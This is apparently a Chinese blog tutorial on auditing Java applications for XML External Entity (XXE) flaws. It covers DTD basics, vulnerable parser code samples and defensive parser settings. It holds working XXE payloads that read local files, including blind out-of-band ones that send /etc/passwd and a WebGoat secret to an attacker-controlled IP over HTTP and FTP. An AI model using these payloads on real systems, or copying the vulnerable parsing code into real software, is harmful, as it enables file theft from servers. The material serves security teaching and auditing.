• JAVA审计XXE


    前言

    本篇记录一下审计中的XXE漏洞

    0x01 关于XXE

    关于DTD

    XXE(XML External Entity Injection) 全称为 XML 外部实体注入,这也是一个注入,但是需要注意的是这里注入的是XML外部实体,普通的xml注入几乎没有危害。那什么是外部实体?

    XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制:

    <?xml version="1.0"?>
    <!DOCTYPE message [
    <!ELEMENT message (receiver ,sender ,header ,msg)>
    <!ELEMENT receiver (#PCDATA)>
    <!ELEMENT sender (#PCDATA)>
    <!ELEMENT header (#PCDATA)>
    <!ELEMENT msg (#PCDATA)>
    

    上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么xml根据dtd定义的规范就必须像下面这样传输:

    <message>
    <receiver>Myself</receiver>
    <sender>Someone</sender>
    <header>TheReminder</header>
    <msg>This is an amazing book</msg>
    </message>
    

    除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容):

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe "test" >]>
    

    这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体,实体可以看作是变量,到时候我们可以在 XML 中通过 & 符号进行引用,那传输的xml可以是:

    <creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
    </creds>
    

    使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 "test" 替换。

    DTD分类

    上面最后定义的实体就是一个内部实体,而XXE中利用的外部实体注入,就是可以行外部的dtd文档中引用:

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
    <creds>
        <user>&xxe;</user>
        <pass>mypass</pass>
    </creds>
    

    这样其实就把实体分成了内部实体和外部实体,但是从另外一个维度讲,也可以分为通用实体和参数实体:

    通用实体:用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用:

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
    <updateProfile>  
        <firstname>Joe</firstname>  
        <lastname>&file;</lastname>  
        ... 
    </updateProfile>
    

    参数实体

    • 使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
    • 只有在 DTD 文件中,参数实体的声明才能引用其他实体
    • 和通用实体一样,参数实体也可以外部引用
    <!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
    <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
    %an-element; %remote-dtd;
    

    注意参数实体在盲XXE中起到很大作用,下面会有演示

    0x02 实例展示

    敏感文件读取

    <?xml version="1.0"?>
    <!DOCTYPE cat [
      <!ENTITY root SYSTEM "file:///">
    ]>
    <comment>  <text>&root;</text></comment>
    

    image-20220208213415550

    image-20220208213354228

    image-20220208215806839

    盲XXE利用

    盲XXE中xml数据注入进去没有回显,但是既然可以加载外部dtd,那么就可以自己定义一个去访问我们的服务器查看请求:

    首先一个test.dtd:

    <?xml version="1.0" encoding="UTF-8"?>
    <!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.1.0//XXE/secret.txt">//读取的敏感文件路径
    <!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://192.168.1.101:8080/landing?text=%file;'>">//访问攻击者服务器的请求
    

    然后在dtd路径下起一个web服务

    python3 -m http.server 8080
    

    然后在请求中定义恶意dtd实体并最后调用

    <?xml version="1.0"?>
    <!DOCTYPE foo [
    <!ENTITY % dtd SYSTEM "http://192.168.1.101:8080/test.dtd">
    %dtd;
    %print;
    %send;
    ]>
    

    image-20220208222315705

    然后请求中就会把敏感文件带出来

    image-20220208222356202

    注意:这里可能就会有疑问,直接定义实体不就行吗 为啥要引用外部的dtd呢

    因为根据XML_DOC,参数实体不能在DTD子集内调用,但是可以在外部子集中调用(Payload 2中的利用形式)。 这种形式使用后将提示禁止的错误。

    盲XXE在java中的问题

    这个问题也是师傅在审计出xxe后利用的过程中遇到的,当时一起研究探讨了一番,再次记录下。

    首先我们说的利用xxe命令执行,直接获取shell,都是在php中的xxe,PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,我们可以直接执行系统命令;这种情况少有发生,而且换到了java中,并没有直接能shell的操作?

    而这个记录的点,是利用JAVA中XXE进行任意文件读取,直接说下结论

    Java在Blind XXE的利用上,读取文件会有些问题,在PHP中,我们可以使用 php://filter/read=convert.base64-encode/resource=/etc/hosts 方法将文本内容进行base64编码。但是Java中没这样的编码方法,所以如果要读取换行的文件,一般使用FTP协议,HTTP协议会由于存在换行等字符,请求发送失败。

    这里遇到的问题也就是这样,利用java的XXE读取一行的文件可以成功,读取多行的win.ini就没有回显,所以需要用到ftp协议回传信息。

    根据zw师傅严谨的分析:java在下图中断点checkURL方法会抛异常,方法内部会去判断当前url是否包含换行符ascii(10),所以可以读没有换行符的文件,而不能读多行。

    image-20220218190440978

    所以这里我们可以利用这个工具,利用py模拟起一个ftp,再进行接收:https://github.com/lc/230-OOB

    <?xml version="1.0" encoding="UTF-8"?>
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % print "<!ENTITY &#37; send SYSTEM 'ftp://192.168.1.101:2121/%file;'>">
    
    <?xml version="1.0"?>
    <!DOCTYPE foo [
    <!ENTITY % dtd SYSTEM "http://192.168.1.101:8080/test.dtd">
    %dtd;
    %print;
    %send;
    ]>
    

    0x03 java中XXE

    XML解析一般在导入配置、数据传输接口等场景可能会用到,涉及到XML文件处理的场景可查看XML解析器是否禁用外部实体,从而判断是否存在XXE。部分XML解析接口如下:

    javax.xml.parsers.DocumentBuilderFactory;
    javax.xml.parsers.SAXParser
    javax.xml.transform.TransformerFactory
    javax.xml.validation.Validator
    javax.xml.validation.SchemaFactory
    javax.xml.transform.sax.SAXTransformerFactory
    javax.xml.transform.sax.SAXSource
    org.xml.sax.XMLReader
    org.xml.sax.helpers.XMLReaderFactory
    org.dom4j.io.SAXReader
    org.jdom.input.SAXBuilder
    org.jdom2.input.SAXBuilder
    javax.xml.bind.Unmarshaller
    javax.xml.xpath.XpathExpression
    javax.xml.stream.XMLStreamReader
    org.apache.commons.digester3.Digester
    …………
    

    DocumentBuilder

    这是JDK自带的类,以此产生的XXE是存在回显的

    对应漏洞代码:

    public String DocumentBuilderVuln01(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
                DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
                DocumentBuilder db = dbf.newDocumentBuilder();
                StringReader sr = new StringReader(body);
                InputSource is = new InputSource(sr);
                Document document = db.parse(is);  // parse xml
    
                // 遍历xml节点name和value
                StringBuilder buf = new StringBuilder();
                NodeList rootNodeList = document.getChildNodes();
                for (int i = 0; i < rootNodeList.getLength(); i++) {
                    Node rootNode = rootNodeList.item(i);
                    NodeList child = rootNode.getChildNodes();
                    for (int j = 0; j < child.getLength(); j++) {
                        Node node = child.item(j);
                        buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
                    }
                }
                sr.close();
                return buf.toString();
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
    }
    

    SAXReader

    SAXReader是第三方的库,该类是无回显的`

    public String SAXReaderVuln(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
    
                SAXReader reader = new SAXReader();
                // org.dom4j.Document document
                reader.read(new InputSource(new StringReader(body))); // cause xxe
    
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
    }
    

    SAXBuilder

    public String SAXBuilderVuln(HttpServletRequest request) {
          try {
              String body = WebUtils.getRequestBody(request);
              logger.info(body);
    
              SAXBuilder builder = new SAXBuilder();
              // org.jdom2.Document document
              builder.build(new InputSource(new StringReader(body)));  // cause xxe
              return "SAXBuilder xxe vuln code";
          } catch (Exception e) {
              logger.error(e.toString());
              return EXCEPT;
    			}
    }
    

    SAXParserFactory

    该类也是JDK内置的类,但他不可回显内容,可借助dnslog平台

    public String SAXParserVuln(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
    
                SAXParserFactory spf = SAXParserFactory.newInstance();
                SAXParser parser = spf.newSAXParser();
                parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
    
                return "SAXParser xxe vuln code";
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
    }
    

    XMLReaderFactory

     public String xmlReaderVuln(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
                XMLReader xmlReader = XMLReaderFactory.createXMLReader();
                xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml
                return "xmlReader xxe vuln code";
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
    }
    

    Digester

     public String DigesterVuln(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
    
                Digester digester = new Digester();
                digester.parse(new StringReader(body));  // parse xml
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
            return "Digester xxe vuln code";
    

    XMLReader

    public String XMLReaderVuln(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
    
                SAXParserFactory spf = SAXParserFactory.newInstance();
                SAXParser saxParser = spf.newSAXParser();
                XMLReader xmlReader = saxParser.getXMLReader();
                xmlReader.parse(new InputSource(new StringReader(body)));
    
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
    
            return "XMLReader xxe vuln code";
        }
    

    0x04 java中防御XXE

    使用XML解析器时需要设置其属性,禁用DTDs或者禁止使用外部实体。

    以上例中DOM - DocumentBuilderFactory为例,防御代码如下:

    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); //禁用DTDs (doctypes),几乎可以防御所有xml实体攻击
    //如果不能禁用DTDs,可以使用下两项,必须两项同时存在
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);      //防止外部普通实体POC 攻击
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);   //防止外部参数实体POC攻击
    

    参考

    https://www.cnblogs.com/CoLo/p/15236414.html

    https://xz.aliyun.com/t/3357#toc-21

    https://github.com/JoyChou93/java-sec-code

  • 相关阅读:
    技巧使用
    一些常用的安装包可选安装组件
    php ob_flush与flush的作用
    HTML5 localStorage本地存储
    php clearstatcache
    iconv
    Mysql数字类型转换函数
    POJ
    POJ
    POJ
  • 原文地址:https://www.cnblogs.com/N0r4h/p/15873187.html
Copyright © 2020-2023  润新知